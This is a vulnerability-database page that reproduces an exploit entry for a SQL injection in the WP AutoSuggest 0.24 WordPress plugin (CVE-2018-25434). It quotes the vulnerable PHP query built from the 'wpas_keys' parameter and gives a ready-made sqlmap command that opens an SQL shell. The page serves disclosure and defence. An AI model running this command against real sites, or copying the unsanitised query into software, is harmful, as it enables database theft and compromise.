WordPress Plugin AutoSuggest 0.24 - 'wpas_keys' SQL Injection (SQLi)
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| CVE-2018-25434 | 1 Jun 202623:50 | – | circl | |
| WordPress plugin WP AutoSuggest has a SQL injection vulnerability | 1 Jun 202600:00 | – | cnnvd | |
| CVE-2018-25434 | 1 Jun 202621:00 | – | cve | |
| CVE-2018-25434 WP AutoSuggest 0.24 SQL Injection via autosuggest.php | 1 Jun 202621:00 | – | cvelist | |
| EUVD-2018-21955 | 2 Jun 202600:31 | – | euvd | |
| CVE-2018-25434 | 1 Jun 202622:16 | – | nvd | |
| PT-2026-45625 | 1 Jun 202600:00 | – | ptsecurity | |
| CVE-2018-25434: Improper Neutralization of Special Elements used in an SQL Command | 1 Jun 202600:00 | – | rapid7 | |
| CVE-2018-25434 WP AutoSuggest 0.24 SQL Injection via autosuggest.php | 1 Jun 202621:00 | – | vulnrichment |
# Exploit Title: WP AutoSuggest 0.24 - SQL Injection
# Date: 01-12-2018
# Software Link: https://wordpress.org/plugins/wp-autosuggest/
# Exploit Author: Kaimi
# Website: https://kaimi.io
# Version: 0.24
# Category: webapps
SQL Injection
File: autosuggest.php
Vulnerable code:
if (isset($_GET['wpas_keys'])) {
$wpas_keys = $_GET['wpas_keys'];
}
...
$wpas_keys = str_replace(' ','%',$wpas_keys);
$pageposts = $wpdb->get_results("SELECT * FROM $wpdb->posts WHERE (post_title LIKE '%$wpas_keys%') AND post_status = 'publish' ORDER BY post_date DESC");
Exploitation example:
sqlmap -u "http://URL/wp-content/plugins/wp-autosuggest/autosuggest.php?wpas_action=query&wpas_keys=1" --technique BT --dbms MYSQL --risk 3 --level 5 -p wpas_keys --tamper space2comment --sql-shellData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 3.18.2
CVSS 48.8
EPSS0.00591
SSVC